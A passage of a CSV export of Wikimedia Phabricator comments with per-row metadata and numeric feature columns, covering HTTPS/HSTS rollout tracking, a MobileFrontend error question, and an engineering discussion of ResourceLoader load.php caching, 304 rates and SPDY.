categorical grounds today.

Remaining open tasks directly linked into here which need work before this closes:
* T132521 CODE - still valid due to a couple of relevant subtasks:
** T128559 CODE - Still outstanding on the HSTS issue here
** T137161 CODE - Looks due to close any day now, hopefully
* T133548 CODE - Still relevant, hoping to close this out in the latter half of 2017

Stuff I'm unlinking today as categorically inappropriate or unnecessary in the view of the original transition's long tail:
* T92002 CODE - Unlinking, this is just a general improvement we'd like to have, but not required to close this IMHO (similar to other issues like CAA support, etc)
* T148131 CODE - Unlinking, again this is a general improvement (and complete other than documentation), not a requirement of finishing the original transition.
* T153563 CODE - Unlinking, as this is categorically an application-layer issue, and WDQS's actual basic TLS termination is standard and acceptable."
498400,HTTPS Plans (tracking / high-level info),"I think that's mostly about agl special-casing exemptions to the list of rules for automatic inclusion to the master list in git (the ones about restrictions on implementation details), not about accelerating the process for getting the updated list into browsers faster.  The list gets fairly regularly batch-updated in git, and then I imagine that factors into merging into release branches for Chrom(e|ium) or pulls into remote release branches for FF/IE/Safari at regular intervals.  agl actually checks and commits the list updates himself, I'm sure he's noticed our submission if that has any bearing on anything :)",,,1438108546,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,3,True,1.0,1.0,0.0,0.0,0.5,3.5,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,3.0,0.5,4.0,13.5,1.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,3.0,0.0,0.0,0.0,0.0,1.0,16.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,0.0,6.0,1.5,2.5,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,13.5,2.5,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.0,2.5,0.5,0.0,0.0,4.4491525423728815,0.7966101694915254,"I think that's mostly about agl special-casing exemptions to the list of rules for automatic inclusion to the master list in git (the ones about restrictions on implementation details), not about accelerating the process for getting the updated list into browsers faster.  The list gets fairly regularly batch-updated in git, and then I imagine that factors into merging into release branches for Chrom(e|ium) or pulls into remote release branches for FF/IE/Safari at regular intervals.  agl actually checks and commits the list updates himself, I'm sure he's noticed our submission if that has any bearing on anything :)"
498390,HTTPS Plans (tracking / high-level info),"> submitted to the Chromium HSTS Preload list

The Chromium project indicates that they are willing to special-case certain requests, and that petitioners should write to Adam Langley <agl@google.com>. Maybe they could accelerate our inclusion in the list?",,,1438107181,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,15.0,5.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,13.0,8.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.794871794871795,0.9230769230769231,"QUOTE

The Chromium project indicates that they are willing to special-case certain requests, and that petitioners should write to Adam Langley <agl@google.com>. Maybe they could accelerate our inclusion in the list?"
487132,HTTPS Plans (tracking / high-level info),"
Notable changes today:
Switch to compat-dhe: T104281 - pending gerrit commit to switch: https://gerrit.wikimedia.org/r/#/c/222023/ . Probably going out today (July 6).
Dashboard for negotiated protocols/ciphers: https://tessera.wikimedia.org/dashboards/6/tls",,,1436195318,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.85,0.75,"
Notable changes today:
Switch to compat-dhe: T104281 - pending gerrit commit to switch: URL . Probably going out today (July 6).
Dashboard for negotiated protocols/ciphers: URL"
104594,Spike: Why are anonymous users hitting 'http' errors when they edit in MobileFrontend?,"Probably 2hrs of investigation / and updating the code to provide further information will shed light on this issue.
",Medium,50.0,1435857674,1595603246.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-wyftsr52xethghhn62pd,task_description,declined,True,c3,3,True,True,False,0,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.714285714285714,1.0,"Probably 2hrs of investigation / and updating the code to provide further information will shed light on this issue.
"
1550592,Spike: Why are anonymous users hitting 'http' errors when they edit in MobileFrontend?,I asked this question when web was maintaining the editor. I have no idea if these errors are still occurring (I hope not :)),,,1595603246,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-wyftsr52xethghhn62pd,task_subcomment,,True,c3,3,True,,,264,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,12.0,8.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,3.923076923076923,0.9230769230769231,I asked this question when web was maintaining the editor. I have no idea if these errors are still occurring (I hope not :))
104277,Collect HTTP statistics about load.php requests,"In order to better understand how well ResourceLoader is performing, and to measure the impact of deployments and trends over time, I'd like to request we continuously aggregate metrics for load.php requests.

Specifically, requests and responses from Varnish to `/w/load.php` on all wiki domains (e.g. `en.wikipedia.org/w/load.php?...`).

* Total count of load.php requests per minute.
* Broken down by label(s):
 * Response http status code (e.g. HTTP 200, 304, or 500).
 * Whether request had a If-None-Match header.
* Response byte size of HTTP 200 responses (Content-Length).

Use case is to be able to continuously answer the below questions. (e.g. in Grafana or elsewhere, showing trends and correlation to deployment events.)

* How many (absolute number) requests were there to load.php globally per minute at any given time? (req.all.count)
* How is the average response size per request changing? (resp.content-length)
* What percentage of clients actually had a local cache for the request? (req.if-none-match.count) 
* What was the ratio between responses being cache hits and cache misses? (resp.http-200.count, resp.http-304.count)",Medium,50.0,1435625511,1438030878.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-brymhbvob4xgvfbkxc7p,task_description,resolved,True,c3,2,True,True,True,-1,True,1.0,0.0,0.0,0.0,0.0,3.3333333333333335,2.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,5.333333333333333,9.666666666666666,0.3333333333333333,1.6666666666666667,0.0,0.0,0.3333333333333333,1.6666666666666667,1.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,1.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,17.666666666666668,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,2.6666666666666665,2.6666666666666665,8.666666666666666,1.3333333333333333,2.3333333333333335,4.0,0.0,0.0,0.0,0.0,2.0,0.0,1.6666666666666667,0.0,0.6666666666666666,9.666666666666666,5.333333333333333,1.6666666666666667,0.0,0.0,0.6666666666666666,0.0,2.0,0.6666666666666666,0.0,1.0,0.0,0.0,0.6666666666666666,4.207076023391813,0.7343274853801169,"In order to better understand how well ResourceLoader is performing, and to measure the impact of deployments and trends over time, I'd like to request we continuously aggregate metrics for load.php requests.

Specifically, requests and responses from Varnish to CODE on all wiki domains (e.g. CODE).

* Total count of load.php requests per minute.
* Broken down by label(s):
 * Response http status code (e.g. HTTP 200, 304, or 500).
 * Whether request had a If-None-Match header.
* Response byte size of HTTP 200 responses (Content-Length).

Use case is to be able to continuously answer the below questions. (e.g. in Grafana or elsewhere, showing trends and correlation to deployment events.)

* How many (absolute number) requests were there to load.php globally per minute at any given time? (req.all.count)
* How is the average response size per request changing? (resp.content-length)
* What percentage of clients actually had a local cache for the request? (req.if-none-match.count) 
* What was the ratio between responses being cache hits and cache misses? (resp.http-200.count, resp.http-304.count)"
490918,Collect HTTP statistics about load.php requests,">>! In T104277#1448583, @Catrope wrote:
>>>! In T104277#1448481, @Krinkle wrote:
>> [..] these are not mutually exclusive because we don't fragment request stats by short/long expiry yet (based on version param). If we assume  [..]
> Wouldn't you have to [..]. if we collect data on whether INM requests are short or long (using `&version=` as a proxy), we can compute separate satisfaction rates directly as well, without reasoning about weighted averages.

Yeah, I knew I was taking a risk trying to approximate. We're saying the same thing though about using ""version"" to divide incoming requests.

>> Responses to clients without a primed cache (HTTP 200)
> That's not what 200s are. 200 means that either the client had no cache, or that it had an out-of-date cache. 

Thanks. I mixed up INM requests and HTTP 200 responses.

>>! In T104277#1448677, @ori wrote:
> This is all well and good, but I worry that digging any deeper into the caching behavior of ResourceLoader would be academic and impractical. The question we're answering seems to be: ""is ResourceLoader doing what we expect it to do?"". The question we ought to answer, in my opinion, is ""what //should// ResourceLoader do?"". Since about a month ago, some four-fifths of all client connections are using a protocol that barely existed when ResourceLoader was created, and which ResourceLoader was not designed to exploit. A lot of the work ResourceLoader is doing (like batching requests, generating combined CSS/JS payloads, inlining interface images) is now actively harmful to the majority of clients. I encourage you to think bigger and to resist the temptation to spend too much time squinting at minutiae.

HTTP2/SPDY does open new doors, but it's not that different in practice. I'd love to prove my feeling wrong. But we still have the same underlying primitives as before (INM/304). Batching seems to be the main difference here, which is relatively simple to disable in ResourceLoader.

It's the primitives that worry me. We've got low hanging fruit in our cache handling which is hurting SPDY and non-SPDY alike. Resources have a short expiry, roll over quickly (lack of versioning; T96797), long expiry rolls over too (due to trashing; T104950; T102578), both cause resources to be frequently rebuild.

The MobileFrontend less/css style module, for example, is built 50x every minute. That's all wiki/lang combinations rolling over continuously at 5min intervals. Each mobile style takes 250ms to compile in Lessc. They're part of a user-facing request that contains other stuff too. That's a big synchronous hit for mobile page views.

SPDY already removes slow-start for each connection, and it puts text, static and load.php requests in a shared connection. The various load.php requests on a single page are also shared.

I'm skeptical about additional SPDY gains if we split up further. Server-side it will reduce cache fragmentation, but client-side it could make no difference. We already store modules separately in local cache (in localStorage by module-version, or soon in CacheStorage by url; T101732). This is superior to 304 roundtrips because local cache has no latency and isn't subject to intermittent connectivity issues.

So the area left is cache misses. I hope SPDY can help there. Is there a difference between loading 1 large request or 10 smaller ones in parallel? (assuming both are Varnish hits). In theory it may get more bandwidth using separate connections, except SPDY is about sharing the same connection. I agree batching seems redundant and disabling it would allow us to use native HTTP local cache; But is it harmful as-is?

Either way, these are mere guesses without data. I agree we must try disable batching, absolutely. Even if not harmful, it's redundant and we should let native handle it. But that feels more like technical debt than a current performance gain. We should prioritise and focus one thing at a time. I think it'd be more beneficial for everyone (incl. SPDY) to resolve T96797 and T104950 first.

I feel there's limited benefits waiting for us in SPDY– besides the obvious benefits of using it for our existing requests, which we already do. We saw the positive impact SPDY made in NavTiming metrics as result of enabling HTTPS everywhere. Around June 16th, median **pageLoadTime went down from 2.0s to 1.6s. And p95 mean from 13s to 10s**.

The browsers' pre-fetcher can do next to nothing right now because load requests are not inlined, they're not discoverable. That's an artefact of needing live versions, live dependency resolution, ordering, and de-duplication. I expect optimising for the pre-fetcher will give us a notable speed gain.

Perhaps we can brainstorm in Mexico and SF coming weeks about a radically different design for ResourceLoader with the explicit goal to support inlining of requests as proper script tags. Let's find a way to make that work. We'd also un-batch them, and use `async` on the elements.

However this will require fundamentally changing the underlying OutputPage interface and registry model. I suspect it will also require ESI. (And a fallback for third-parties as post-processing step atop file cache.)",,,1436805174,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,0.5,0.125,0.125,0.375,0.625,8.375,1.0,0.25,0.125,0.25,2.375,1.25,0.0,0.0,0.25,3.875,0.25,5.375,10.125,0.25,1.375,0.375,0.0,0.0,0.875,0.5,0.0,0.125,0.625,1.0,0.5,6.25,1.75,1.625,0.375,0.0,0.25,0.25,0.125,2.0,0.25,0.375,0.125,1.625,0.0,0.125,0.0,0.25,0.0,16.5,0.875,0.25,0.125,0.5,0.0,0.125,0.0,0.0,0.75,0.125,0.25,0.625,0.0,0.75,0.0,0.375,0.125,3.625,2.25,11.25,0.75,2.75,6.125,0.0,0.0,0.0,0.0,4.5,0.125,1.5,0.0,6.0,10.125,3.75,0.25,0.375,0.0,6.0,0.0,0.625,1.75,0.625,3.0,0.625,0.0,0.125,4.090716280068729,0.7607254080756014,"QUOTE
QUOTE
QUOTE
QUOTE

Yeah, I knew I was taking a risk trying to approximate. We're saying the same thing though about using ""version"" to divide incoming requests.

QUOTE
QUOTE

Thanks. I mixed up INM requests and HTTP 200 responses.

QUOTE
QUOTE

HTTP2/SPDY does open new doors, but it's not that different in practice. I'd love to prove my feeling wrong. But we still have the same underlying primitives as before (INM/304). Batching seems to be the main difference here, which is relatively simple to disable in ResourceLoader.

It's the primitives that worry me. We've got low hanging fruit in our cache handling which is hurting SPDY and non-SPDY alike. Resources have a short expiry, roll over quickly (lack of versioning; T96797), long expiry rolls over too (due to trashing; T104950; T102578), both cause resources to be frequently rebuild.

The MobileFrontend less/css style module, for example, is built 50x every minute. That's all wiki/lang combinations rolling over continuously at 5min intervals. Each mobile style takes 250ms to compile in Lessc. They're part of a user-facing request that contains other stuff too. That's a big synchronous hit for mobile page views.

SPDY already removes slow-start for each connection, and it puts text, static and load.php requests in a shared connection. The various load.php requests on a single page are also shared.

I'm skeptical about additional SPDY gains if we split up further. Server-side it will reduce cache fragmentation, but client-side it could make no difference. We already store modules separately in local cache (in localStorage by module-version, or soon in CacheStorage by url; T101732). This is superior to 304 roundtrips because local cache has no latency and isn't subject to intermittent connectivity issues.

So the area left is cache misses. I hope SPDY can help there. Is there a difference between loading 1 large request or 10 smaller ones in parallel? (assuming both are Varnish hits). In theory it may get more bandwidth using separate connections, except SPDY is about sharing the same connection. I agree batching seems redundant and disabling it would allow us to use native HTTP local cache; But is it harmful as-is?

Either way, these are mere guesses without data. I agree we must try disable batching, absolutely. Even if not harmful, it's redundant and we should let native handle it. But that feels more like technical debt than a current performance gain. We should prioritise and focus one thing at a time. I think it'd be more beneficial for everyone (incl. SPDY) to resolve T96797 and T104950 first.

I feel there's limited benefits waiting for us in SPDY– besides the obvious benefits of using it for our existing requests, which we already do. We saw the positive impact SPDY made in NavTiming metrics as result of enabling HTTPS everywhere. Around June 16th, median **pageLoadTime went down from 2.0s to 1.6s. And p95 mean from 13s to 10s**.

The browsers' pre-fetcher can do next to nothing right now because load requests are not inlined, they're not discoverable. That's an artefact of needing live versions, live dependency resolution, ordering, and de-duplication. I expect optimising for the pre-fetcher will give us a notable speed gain.

Perhaps we can brainstorm in Mexico and SF coming weeks about a radically different design for ResourceLoader with the explicit goal to support inlining of requests as proper script tags. Let's find a way to make that work. We'd also un-batch them, and use CODE on the elements.

However this will require fundamentally changing the underlying OutputPage interface and registry model. I suspect it will also require ESI. (And a fallback for third-parties as post-processing step atop file cache.)"
490821,Collect HTTP statistics about load.php requests,">>! In T104277#1448583, @Catrope wrote:
>>>! In T104277#1448481, @Krinkle wrote:
>> [..] these are not mutually exclusive because we don't fragment request stats by short/long expiry yet (based on version param). If we assume  [..]
> Wouldn't you have to [..]. if we collect data on whether INM requests are short or long (using `&version=` as a proxy), we can compute separate satisfaction rates directly as well, without reasoning about weighted averages.

Yeah, I knew I was taking a risk trying to approximate. We're saying the same thing though about using ""version"" to divide incoming requests.

>> Responses to clients without a primed cache (HTTP 200)
> That's not what 200s are. 200 means that either the client had no cache, or that it had an out-of-date cache. 

Thanks. I mixed up INM requests with HTTP 200 responses. Further down I used the correct INM statistic instead.

>>! In T104277#1448677, @ori wrote:
> This is all well and good, but I worry that digging any deeper into the caching behavior of ResourceLoader would be academic and impractical. The question we're answering seems to be: ""is ResourceLoader doing what we expect it to do?"". The question we ought to answer, in my opinion, is ""what //should// ResourceLoader do?"". Since about a month ago, some four-fifths of all client connections are using a protocol that barely existed when ResourceLoader was created, and which ResourceLoader was not designed to exploit. A lot of the work ResourceLoader is doing (like batching requests, generating combined CSS/JS payloads, inlining interface images) is now actively harmful to the majority of clients. I encourage you to think bigger and to resist the temptation to spend too much time squinting at minutiae.

HTTP2/SPDY does open new doors, but it's not different in practice. I'd love to prove my feeling wrong. But we still have the same underlying primitives as before (INM/304). Batching seems to be the main difference here, which is relatively simple to disable in ResourceLoader.

It's the primitives that worry me. We've got low hanging fruit in our cache handling which is hurting SPDY and non-SPDY alike. Resources have a short expiry and roll over quickly (lack of versioning; T96797), long expiry rolls over too (due to trashing; T104950; T102578), both cause resources to be frequently rebuild.

The MobileFrontend less/css style module, for example, is built 50x every minute. That's all wiki/lang combinations rolling over continuously at 5min intervals. Each mobile style takes 250ms to compile in Lessc. They're part of a user-facing request that contains other stuff too. That's a big synchronous hit for mobile page views.

SPDY already removes slow-start for each connection, and it puts text, static and load.php requests in a shared connection. The various load.php requests on a single page are also shared.

I'm skeptical about additional SPDY gains if we split up further. Server-side it will reduce cache fragmentation, but client-side it could make no difference. We already store modules separately in local cache (in localStorage by module-version, or soon in CacheStorage by url). This is superior to 304 roundtrips because local cache has no latency and isn't subject to intermittent connectivity issues.

So the area left is cache misses. I wonder if SPDY can help there. Is there a difference between loading 1 large request or 10 smaller ones in parallel? (assuming both are Varnish hits). In theory it may get more bandwidth using separate connections, except SPDY is about sharing the same connection. I agree batching seems redundant and disabling it would allow us to use native HTTP local cache; But is it harmful?

Either way, these are mere guesses without data. I agree we must try, absolutely. Even if not harmful, it's redundant and we should let native handle it. But that feels more like technical debt than a current performance gain. We should prioritise and focus one thing at a time. I think it'd be more beneficial for everyone (incl. SPDY) to resolve T96797 and T104950 first.

I feel there's limited benefits waiting for us in SPDY– besides the obvious benefits of using it for our existing requests, which we already do. We saw the positive impact SPDY made in NavTiming metrics as result of enabling HTTPS everywhere.

Also note that the browsers' pre-fetcher can do next to nothing right now because load requests are not inlined, they're not discoverable. That's an artefact of needing live versions, live dependency resolution, ordering, and de-duplication. I expect optimising for the pre-fetcher will give us a notable speed gain.

Perhaps we can brainstorm in Mexico and SF coming weeks about a potentially entirely different model for ResourceLoader with the explicit design goal in mind to allow inlining of requests as proper script tags. And fine a way to make that work. As part of that we can also un-batch them. And use `async` on the scripts.

However this will require fundamentally changing the underlying OutputPage interface and registry model. I suspect it will also require ESI. (And a fallback for third-parties as post-processing step atop file cache.)",,,1436794081,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,0.5,0.125,0.25,0.375,0.625,8.375,1.0,0.25,0.125,0.375,2.625,1.125,0.0,0.0,0.25,4.0,0.25,5.875,10.25,0.25,1.375,0.375,0.0,0.0,0.875,0.5,0.0,0.0,0.75,0.875,0.5,5.875,1.5,1.625,0.375,0.0,0.25,0.25,0.125,2.125,0.25,0.375,0.125,1.5,0.0,0.125,0.0,0.25,0.125,16.25,0.875,0.25,0.125,0.5,0.0,0.125,0.0,0.0,0.75,0.125,0.25,0.625,0.0,0.75,0.0,0.375,0.125,3.75,2.125,11.375,1.0,2.75,6.375,0.0,0.0,0.0,0.0,4.5,0.125,1.125,0.0,6.0,10.25,3.75,0.25,0.375,0.0,6.0,0.0,0.625,1.75,0.625,3.0,0.625,0.0,0.125,4.128029057017544,0.7583333333333333,"QUOTE
QUOTE
QUOTE
QUOTE

Yeah, I knew I was taking a risk trying to approximate. We're saying the same thing though about using ""version"" to divide incoming requests.

QUOTE
QUOTE

Thanks. I mixed up INM requests with HTTP 200 responses. Further down I used the correct INM statistic instead.

QUOTE
QUOTE

HTTP2/SPDY does open new doors, but it's not different in practice. I'd love to prove my feeling wrong. But we still have the same underlying primitives as before (INM/304). Batching seems to be the main difference here, which is relatively simple to disable in ResourceLoader.

It's the primitives that worry me. We've got low hanging fruit in our cache handling which is hurting SPDY and non-SPDY alike. Resources have a short expiry and roll over quickly (lack of versioning; T96797), long expiry rolls over too (due to trashing; T104950; T102578), both cause resources to be frequently rebuild.

The MobileFrontend less/css style module, for example, is built 50x every minute. That's all wiki/lang combinations rolling over continuously at 5min intervals. Each mobile style takes 250ms to compile in Lessc. They're part of a user-facing request that contains other stuff too. That's a big synchronous hit for mobile page views.

SPDY already removes slow-start for each connection, and it puts text, static and load.php requests in a shared connection. The various load.php requests on a single page are also shared.

I'm skeptical about additional SPDY gains if we split up further. Server-side it will reduce cache fragmentation, but client-side it could make no difference. We already store modules separately in local cache (in localStorage by module-version, or soon in CacheStorage by url). This is superior to 304 roundtrips because local cache has no latency and isn't subject to intermittent connectivity issues.

So the area left is cache misses. I wonder if SPDY can help there. Is there a difference between loading 1 large request or 10 smaller ones in parallel? (assuming both are Varnish hits). In theory it may get more bandwidth using separate connections, except SPDY is about sharing the same connection. I agree batching seems redundant and disabling it would allow us to use native HTTP local cache; But is it harmful?

Either way, these are mere guesses without data. I agree we must try, absolutely. Even if not harmful, it's redundant and we should let native handle it. But that feels more like technical debt than a current performance gain. We should prioritise and focus one thing at a time. I think it'd be more beneficial for everyone (incl. SPDY) to resolve T96797 and T104950 first.

I feel there's limited benefits waiting for us in SPDY– besides the obvious benefits of using it for our existing requests, which we already do. We saw the positive impact SPDY made in NavTiming metrics as result of enabling HTTPS everywhere.

Also note that the browsers' pre-fetcher can do next to nothing right now because load requests are not inlined, they're not discoverable. That's an artefact of needing live versions, live dependency resolution, ordering, and de-duplication. I expect optimising for the pre-fetcher will give us a notable speed gain.

Perhaps we can brainstorm in Mexico and SF coming weeks about a potentially entirely different model for ResourceLoader with the explicit design goal in mind to allow inlining of requests as proper script tags. And fine a way to make that work. As part of that we can also un-batch them. And use CODE on the scripts.

However this will require fundamentally changing the underlying OutputPage interface and registry model. I suspect it will also require ESI. (And a fallback for third-parties as post-processing step atop file cache.)"
490729,Collect HTTP statistics about load.php requests,"This is all well and good, but I worry that digging any deeper into the caching behavior of ResourceLoader would be academic and impractical. The question we're answering seems to be: ""is ResourceLoader doing what we expect it to do?"". The question we ought to answer, in my opinion, is ""what //should// ResourceLoader do?"". Since about a month ago, some four-fifths of all client connections are using a protocol that barely existed when ResourceLoader was created, and which ResourceLoader was not designed to exploit. A lot of the work ResourceLoader is doing (like batching requests, generating combined CSS/JS payloads, inlining interface images) is now actively harmful to the majority of clients. I encourage you to think bigger and to resist the temptation to spend too much time squinting at minutiae.",,,1436771429,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,3.0,0.0,0.0,1.5,0.5,4.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,3.0,0.5,5.5,10.5,0.0,4.0,0.5,0.5,0.0,2.0,1.0,0.0,0.0,0.0,0.5,1.0,6.5,1.0,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.5,3.0,0.0,1.0,0.0,0.5,0.0,9.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.5,0.0,0.5,0.0,0.5,0.0,5.0,5.5,8.5,1.5,3.0,8.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,4.5,10.5,4.5,1.0,2.0,0.0,4.5,0.0,3.0,2.0,0.0,6.0,1.0,0.0,0.0,4.340392729633236,0.7455371632586822,"This is all well and good, but I worry that digging any deeper into the caching behavior of ResourceLoader would be academic and impractical. The question we're answering seems to be: ""is ResourceLoader doing what we expect it to do?"". The question we ought to answer, in my opinion, is ""what //should// ResourceLoader do?"". Since about a month ago, some four-fifths of all client connections are using a protocol that barely existed when ResourceLoader was created, and which ResourceLoader was not designed to exploit. A lot of the work ResourceLoader is doing (like batching requests, generating combined CSS/JS payloads, inlining interface images) is now actively harmful to the majority of clients. I encourage you to think bigger and to resist the temptation to spend too much time squinting at minutiae."
490700,Collect HTTP statistics about load.php requests,">>! In T104277#1448481, @Krinkle wrote:
> The 88% satisfaction rate isn't high. Long-expiry should have 100% satisfaction. Though these are not mutually exclusive because we don't fragment request stats by short/long expiry yet (based on version param). If we assume long-expiry satisfaction to be 100%, and 88% the average, we can infer the satisfaction rate of short-expiry responses through `((65*100)+(35*X))/100=88` where X = ~66%. A 66% satisfaction rate for the 5-minute short expiry resources isn't too bad.
> 

Is it correct to say that the 304 satisfaction rate is the weighted average of the long and short rates, weighted by their proportion of total request volume? Wouldn't you have to weight by their proportion of INM request volume instead? We don't have that data, but I would guess it's more lopsided than 65-35, probably closer to the 97-3 split we see for 304s (though probably not quite that extreme), which would mean the short-expiry satisfaction rate would be much closer to 88%. Of course, if we collect data on whether INM requests are short or long (using `&version=` as a proxy), we can compute separate satisfaction rates directly as well, without reasoning about weighted averages.


> Responses to clients without a primed cache (HTTP 200)

That's not what 200s are. 200 means that either the client had no cache, or that it had an out-of-date cache.

> are about 50-50 divided between long- and short expiry. I therefore assume that an average page view gets half its resources from long-expiry and half from short-expiry.
>
...and for that reason I'm not sure that's a valid assumption.
 
> Responses to clients with a primed cache are very differently divided. Only 3% of their 304 responses are for long-expiry resources. I assume this means, clients with a cache never even touch the network for long-expiry resources. They go straight to local cache. This is good and preferred. The 3% is worth investigating. It should be 0% (for the same reason satisfaction should be 100%). I suspect this 3% might mean some clients have an outdated startup module. Or are otherwise making requests using 30-day old metadata (perhaps hardcoded somewhere; possibly third-party). After 30 days the local cache expires and they try a 304 roundtrip that fails because the server has a new version available. The server is guaranteed to have changed the version hash of everything after 1-2 weeks due to T102578.
> 
Yeah, it's good to see that 304 traffic for long-expiry resources is so low. I have a theory as to where this 3% comes from:

In Chrome, open an incognito window, open the inspector, make sure the ""Disable cache while DevTools is open"" setting is not set (i.e. cache is enabled), go to the Network pane, set the filter to Script, then load a Wikipedia page. You'll see 200 responses, and you'll see that the request headers do not contain an If-None-Match header, nor a Cache-Control header (the response headers do have CC, of course). This is a load with completely cold cache.

Then reload the page by pressing enter in the address bar. Depending on how long you waited, the startup module response will either be a 304 from the network or a 200 from cache, and the other requests will be 200 from cache. There will also be fewer requests overall, because of localStorage. If you saw 304s, their request headers had INM but no CC. So far so good.

Then reload the page by pressing F5 or clicking the reload arrow. You will see everything is a 304, with request headers containing both INM and `Cache-Control: max-age=0`. Varnish appears to ignore this header (doesn't go back to the backend), since I got X-Cache headers with `frontend hit` in them.

Now hard-refresh the page by pressing Ctrl+F5 (or holding Ctrl while clicking the reload arrow). You will see 200s, with request headers containing no INM headers and containing `Cache-Control: no-cache`. Again, Varnish ignores this (I saw `frontend hit` in X-Cache again), but it can't serve a 304 because the client did not supply an INM header.

So perhaps enough of our clients use F5 often enough that it amounts to 3% of our traffic? I wonder how many of those long-expiry 304s had `Cache-Control: max-age=0` in their request headers, and if other browsers expose similar traces of user refreshes in their request headers.

As a side note, I found {T105657} while performing this experiment.

> The 301 redirects do not originate from ResourceLoader. They would've been intercepted by MediaWiki, Apache, or Varnish. All these layers enforce HTTPS. In this case I believe it's text-varnish.
> 
